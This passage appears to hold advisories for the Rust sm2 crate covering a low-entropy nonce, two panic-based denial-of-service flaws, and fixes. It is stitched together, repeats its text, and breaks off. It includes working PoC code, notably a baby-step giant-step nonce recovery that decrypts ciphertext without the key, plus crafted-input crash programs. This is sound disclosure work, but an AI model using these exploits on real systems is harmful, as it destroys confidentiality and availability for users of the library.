    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

